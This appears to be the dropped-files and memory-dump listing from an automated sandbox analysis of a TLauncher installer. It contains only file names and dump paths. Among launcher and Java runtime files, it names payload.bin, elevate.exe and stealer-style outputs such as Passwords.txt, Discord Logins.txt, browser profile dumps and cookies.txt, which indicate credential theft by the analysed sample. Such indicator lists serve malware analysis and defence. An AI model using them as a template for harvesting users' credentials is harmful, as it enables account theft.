ja.pak
kn.pak
ko.pak
lt.pak
lv.pak
ml.pak
mr.pak
ms.pak
nb.pak
nl.pak
pl.pak
pt-BR.pak
pt-PT.pak
ro.pak
ru.pak
sk.pak
sl.pak
sr.pak
sv.pak
sw.pak
ta.pak
te.pak
th.pak
tr.pak
uk.pak
ur.pak
vi.pak
zh-CN.pak
zh-TW.pak
resources.pak
app.asar
payload.bin
index.js
package.json
koffi.lib
koffi.node
index.js
package.json
node.napi.node
cnoke.cjs
index.cjs
index.js
indirect.cjs
indirect.js
base.hh
unicode.inc
package.json
index.cjs
index.js
arm64_asm.S
arm64_asm.asm
loong64_asm.S
riscv64_asm.S
x64sysv_asm.S
x64win_asm.S
x64win_asm.asm
x86_asm.S
x86_asm.asm
call.hh
errno.inc
ffi.hh
parser.hh
primitives.inc
static.cjs
static.js
trampolines.cjs
type.hh
util.hh
uv.def
uv.hh
win32.hh
js_native_api.def
node_api.def
elevate.exe
snapshot_blob.bin
v8_context_snapshot.bin
vk_swiftshader.dll
vk_swiftshader_icd.json
vulkan-1.dll
setuparguments.ini
tmp1668.tmp
tmpaddon
tmpaddon
wct6703.tmp
wctA1F.tmp
wctD60E.tmp
wctD90C.tmp
Chrome (Default).txt
Firefox (Default).txt
Discord Codes.txt
Discord Logins.txt
Passwords.txt
client-intermediary.jar.tmp
client-intermediary.jar.tmp
TLauncher.exe
TlauncherProfiles.json
1bc060879a5f0eec9b6813e76699e86119d78437.tlauncherdownload
590470ab0f17afb73a4e41d9cb56fdbe069d275a.tlauncherdownload
lz4-java-1.8.1.jar
azure-json-1.4.0.jar
oshi-core-6.9.0.jar
gson-2.13.2.jar
failureaccess-1.0.3.jar
guava-33.5.0-jre.jar
icu4j-77.1.jar
msal4j-1.23.1.jar
authlib-7.0.61.jar
blocklist-1.0.10.jar
brigadier-1.3.10.jar
datafixerupper-9.0.19.jar
jtracy-1.0.37-natives-windows.jar
jtracy-1.0.37.jar
logging-1.6.11.jar
patchy-2.2.10.jar
text2speech-1.18.11.jar
commons-codec-1.19.0.jar
commons-io-2.20.0.jar
netty-buffer-4.2.7.Final.jar
netty-codec-base-4.2.7.Final.jar
netty-codec-compression-4.2.7.Final.jar
netty-codec-http-4.2.7.Final.jar
netty-common-4.2.7.Final.jar
netty-handler-4.2.7.Final.jar
netty-resolver-4.2.7.Final.jar
netty-transport-classes-epoll-4.2.7.Final.jar
netty-transport-classes-kqueue-4.2.7.Final.jar
netty-transport-native-unix-common-4.2.7.Final.jar
netty-transport-4.2.7.Final.jar
fastutil-8.5.18.jar
jna-platform-5.17.0.jar
jna-5.17.0.jar
jopt-simple-5.0.4.jar
commons-compress-1.28.0.jar
commons-lang3-3.19.0.jar
log4j-api-2.25.2.jar
log4j-core-2.25.2.jar
log4j-slf4j2-impl-2.25.2.jar
jorbis-0.0.17.jar
joml-1.10.8.jar
jspecify-1.0.0.jar
lwjgl-freetype-3.3.3-natives-windows-arm64.jar
lwjgl-freetype-3.3.3-natives-windows-x86.jar
lwjgl-freetype-3.3.3-natives-windows.jar
lwjgl-freetype-3.3.3.jar
lwjgl-glfw-3.3.3-natives-windows-arm64.jar
lwjgl-glfw-3.3.3-natives-windows-x86.jar
lwjgl-glfw-3.3.3-natives-windows.jar
lwjgl-glfw-3.3.3.jar
lwjgl-jemalloc-3.3.3-natives-windows-arm64.jar
lwjgl-jemalloc-3.3.3-natives-windows-x86.jar
lwjgl-jemalloc-3.3.3-natives-windows.jar
lwjgl-jemalloc-3.3.3.jar
lwjgl-openal-3.3.3-natives-windows-arm64.jar
lwjgl-openal-3.3.3-natives-windows-x86.jar
lwjgl-openal-3.3.3-natives-windows.jar
lwjgl-openal-3.3.3.jar
lwjgl-opengl-3.3.3-natives-windows-arm64.jar
lwjgl-opengl-3.3.3-natives-windows-x86.jar
lwjgl-opengl-3.3.3-natives-windows.jar
lwjgl-opengl-3.3.3.jar
lwjgl-stb-3.3.3-natives-windows-arm64.jar
lwjgl-stb-3.3.3-natives-windows-x86.jar
lwjgl-stb-3.3.3-natives-windows.jar
lwjgl-stb-3.3.3.jar
lwjgl-tinyfd-3.3.3-natives-windows-arm64.jar
lwjgl-tinyfd-3.3.3-natives-windows-x86.jar
lwjgl-tinyfd-3.3.3-natives-windows.jar
lwjgl-tinyfd-3.3.3.jar
lwjgl-3.3.3-natives-windows-arm64.jar
lwjgl-3.3.3-natives-windows-x86.jar
lwjgl-3.3.3-natives-windows.jar
lwjgl-3.3.3.jar
slf4j-api-2.0.17.jar
authlib-7.0.619.jar
patchy-2.2.101.jar
tl_skin_cape_fabric_1.21.11-1.38.jar
client.jar
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-console-l1-2-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-multibyte-l1-1-0.dll
api-ms-win-crt-private-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
attach.dll
awt.dll
dt_shmem.dll
dt_socket.dll
extnet.dll
fontmanager.dll
freetype.dll
instrument.dll
j2gss.dll
j2pcsc.dll
j2pkcs11.dll
jaas.dll
jabswitch.exe
jaccessinspector.exe
jaccesswalker.exe
jar.exe
jarsigner.exe
java.dll
java.exe
javaaccessbridge.dll
javac.exe
javadoc.exe
javajpeg.dll
javap.exe
javaw.exe
jawt.dll
jcmd.exe
jconsole.exe
jdb.exe
jdeprscan.exe
jdeps.exe
jdwp.dll
jfr.exe
jhsdb.exe
jimage.dll
jimage.exe
jinfo.exe
jli.dll
jlink.exe
jmap.exe
jmod.exe
jpackage.dll
jpackage.exe
jps.exe
jrunscript.exe
jshell.exe
jsound.dll
jstack.exe
jstat.exe
jstatd.exe
jsvml.dll
jwebserver.exe
keytool.exe
kinit.exe
klist.exe
ktab.exe
lcms.dll
le.dll
management.dll
management_agent.dll
management_ext.dll
mlib_image.dll
msvcp140.dll
net.dll
nio.dll
prefs.dll
rmi.dll
rmiregistry.exe
saproc.dll
serialver.exe
jvm.dll
splashscreen.dll
sspi_bridge.dll
sunmscapi.dll
syslookup.dll
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll
verify.dll
w2k_lsa_auth.dll
windowsaccessbridge-64.dll
zip.dll
jaxp.properties
logging.properties.tlauncherdownload
jmxremote.access
jmxremote.password.template
management.properties
net.properties
java.policy
java.security
README.txt
default_US_export.policy.tlauncherdownload
default_local.policy
exempt_local.policy
default_local.policy
sound.properties
ADDITIONAL_LICENSE_INFO
ASSEMBLY_EXCEPTION
LICENSE
aes.md
asm.md.tlauncherdownload
c-libutl.md
cldr.md
icu.md
public_suffix.md
siphash.md
unicode.md
wepoll.md
zlib.md
ASSEMBLY_EXCEPTION.tlauncherdownload
ADDITIONAL_LICENSE_INFO.tlauncherdownload
colorimaging.md
freetype.md
giflib.md
harfbuzz.md
jpeg.md
lcms.md
libpng.md
mesa3d.md
LICENSE.tlauncherdownload
santuario.md
bcel.md
dom.md
jcup.md
xalan.md
xerces.md
pkcs11cryptotoken.md
pkcs11wrapper.md
dynalink.md
jline.md
jopt-simple.md
jquery.md
jqueryUI.md
cldr.md
thaidict.md
classlist
ct.sym
fontconfig.bfc
fontconfig.properties.src
jawt.lib
default.jfc
profile.jfc
jrt-fs.jar
jvm.cfg
jvm.lib
psfont.properties.ja
psfontj2d.properties
blocked.certs
cacerts
default.policy
public_suffix_list.dat
tzdb.dat
tzmappings
release
Fabric 1.21.11.json
TLauncherAdditional.json
glfw.dll
jemalloc.dll
jna3455999158918751268.dll
lwjgl.dll
lwjgl_tinyfd.dll
IRIMG1.PNG
IRIMG13.PNG
IRIMG3.PNG
IRIMG4.BMP
IRIMG4.PNG
IRIMG9.PNG
uninstall.xml
uninstall.xml
uninstall.xml
uninstall.xml
uninstall.xml
version_manifest.json
29.json.temp
manifest.json
1.21.11.json
inner_servers-1.3.json
index_en.html
libraries-1.7.json
additional_assets-1.1.json
version_manifest.json
version_manifest.json
additional_hot_servers-1.0.json
hot_servers-1.0.json
Fabric%201.21.11.json
java_configuration.json
dependencies.json
resources.json
appConfig.json
javaConfig21.json
starter-core-1.268-v6.exe
COPYRIGHT
LICENSE
ADDITIONAL_LICENSE_INFO
ASSEMBLY_EXCEPTION
LICENSE
tlauncher-2.0.properties
AlternateServices.bin
AlternateServices.bin
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
events
events
events
0bf68708-fb96-4695-8855-d107cea4fece
39b665d8-6640-49cf-bffb-316308334694
45ce147d-abb3-48f7-852f-84f050a502bf
773e5a87-430a-41d6-884c-02268a8d401c
89060257-e8d4-475f-a5e6-e399d58c554d
93f32730-21dc-449f-9ec5-426215dbd4d9
b1093058-7327-4b8a-b18e-0a3d1076d965
d0d718ed-9730-4196-b507-9344e0e03674
e97e2989-d468-4780-824a-6956c36528a6
ef152104-6128-4efc-98ff-9761a4f74c86
f2017581-1713-44ad-9778-a742e0a2bdf7
extensions.json
gmpopenh264.dll
gmpopenh264.info
manifest.json
widevinecdm.dll
prefs-1.js
prefs-1.js
prefs-1.js
prefs.js
prefs.js
prefs.js
prefs.js
sessionCheckpoints.json
sessionCheckpoints.json
sessionCheckpoints.json
sessionCheckpoints.json
sessionCheckpoints.json.tmp
recovery.baklz4
recovery.baklz4
TLauncher-Installer-1.1cuiecl8.9.5.1.exe.part
desktop.ini
cookies.txt
memory/4180-4099-0x000000000ABE0000-0x000000000ABE1000-memory.dmp
memory/4180-4101-0x000000000B4D0000-0x000000000B4D1000-memory.dmp
memory/4180-3957-0x00000000098E0000-0x0000000009AE0000-memory.dmp
memory/4180-4057-0x000000000ABB0000-0x000000000ABB2000-memory.dmp
memory/4180-4289-0x000000000ABF0000-0x000000000ABF1000-memory.dmp
memory/4180-4290-0x000000000ABF0000-0x000000000ABF1000-memory.dmp
memory/4180-4291-0x000000000ABF0000-0x000000000ABF1000-memory.dmp
memory/4180-4288-0x000000000ABF0000-0x000000000ABF1000-memory.dmp
memory/4180-4287-0x000000000ABF0000-0x000000000ABF1000-memory.dmp
memory/4180-4283-0x000000000ABF0000-0x000000000ABF1000-memory.dmp
memory/4180-4282-0x000000000ABF0000-0x000000000ABF1000-memory.dmp
memory/4180-4105-0x000000000B4D0000-0x000000000B4D1000-memory.dmp
memory/4180-4107-0x000000000ABF0000-0x000000000ABF1000-memory.dmp
memory/4180-4096-0x000000000ABD0000-0x000000000ABD1000-memory.dmp
memory/4180-4097-0x000000000ABE0000-0x000000000ABE1000-memory.dmp
memory/4180-4098-0x000000000B4D0000-0x000000000B4D1000-memory.dmp
memory/4180-4100-0x000000000B4D0000-0x000000000B4D1000-memory.dmp
memory/4180-3955-0x000000000A310000-0x000000000A750000-memory.dmp
memory/4180-4102-0x000000000B4D0000-0x000000000B4D1000-memory.dmp
memory/4180-4103-0x000000000B4D0000-0x000000000B4D1000-memory.dmp
memory/4180-4058-0x000000000ABB0000-0x000000000ABB2000-memory.dmp
memory/4180-4059-0x000000000ABB0000-0x000000000ABB2000-memory.dmp
memory/4180-4073-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4089-0x000000000ABD0000-0x000000000ABD1000-memory.dmp
memory/4180-4088-0x000000000ABD0000-0x000000000ABD1000-memory.dmp
memory/4180-4087-0x000000000ABE0000-0x000000000ABE1000-memory.dmp
memory/4180-4086-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4085-0x000000000ABE0000-0x000000000ABE1000-memory.dmp
memory/4180-4083-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4082-0x000000000ABD0000-0x000000000ABD1000-memory.dmp
memory/4180-4081-0x000000000ABD0000-0x000000000ABD1000-memory.dmp
memory/4180-4104-0x000000000B4D0000-0x000000000B4D1000-memory.dmp
memory/4180-4092-0x000000000B4D0000-0x000000000B4D1000-memory.dmp
memory/4180-4093-0x000000000ABD0000-0x000000000ABD1000-memory.dmp
memory/4180-4069-0x000000000ABB0000-0x000000000ABB2000-memory.dmp
memory/4180-4079-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4078-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4077-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4076-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4068-0x000000000ABB0000-0x000000000ABB2000-memory.dmp
memory/4180-4075-0x000000000ABB0000-0x000000000ABB2000-memory.dmp
memory/4180-4074-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4072-0x000000000ABB0000-0x000000000ABB2000-memory.dmp
memory/4180-4071-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4180-4070-0x000000000ABC0000-0x000000000ABC1000-memory.dmp
memory/4420-11-0x0000019E36080000-0x0000019E36081000-memory.dmp
memory/4420-12-0x0000019E360A0000-0x0000019E36310000-memory.dmp
memory/4420-2-0x0000019E360A0000-0x0000019E36310000-memory.dmp
memory/5284-2602-0x0000000000400000-0x0000000000420000-memory.dmp
memory/5308-1774-0x0000000000930000-0x0000000000F27000-memory.dmp
memory/5308-1796-0x0000000000930000-0x0000000000F27000-memory.dmp
memory/5328-2717-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2713-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2782-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2616-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2663-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2675-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2744-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2684-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2704-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2792-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2721-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2718-0x000002C505500000-0x000002C505501000-memory.dmp
memory/5328-2738-0x000002C505500000-0x000002C505501000-memory.dmp
memory/6004-1077-0x0000000000560000-0x0000000000B61000-memory.dmp
memory/6004-2608-0x0000000000560000-0x0000000000B61000-memory.dmp
memory/6004-1730-0x0000000000560000-0x0000000000B61000-memory.dmp
memory/6004-1800-0x0000000000560000-0x0000000000B61000-memory.dmp
memory/6004-2575-0x0000000000560000-0x0000000000B61000-memory.dmp
memory/15312-53337-0x000001FFDF200000-0x000001FFDF222000-memory.dmp
memory/16896-53471-0x000001E56B970000-0x000001E56B99A000-memory.dmp
memory/16896-53472-0x000001E56B970000-0x000001E56B994000-memory.dmp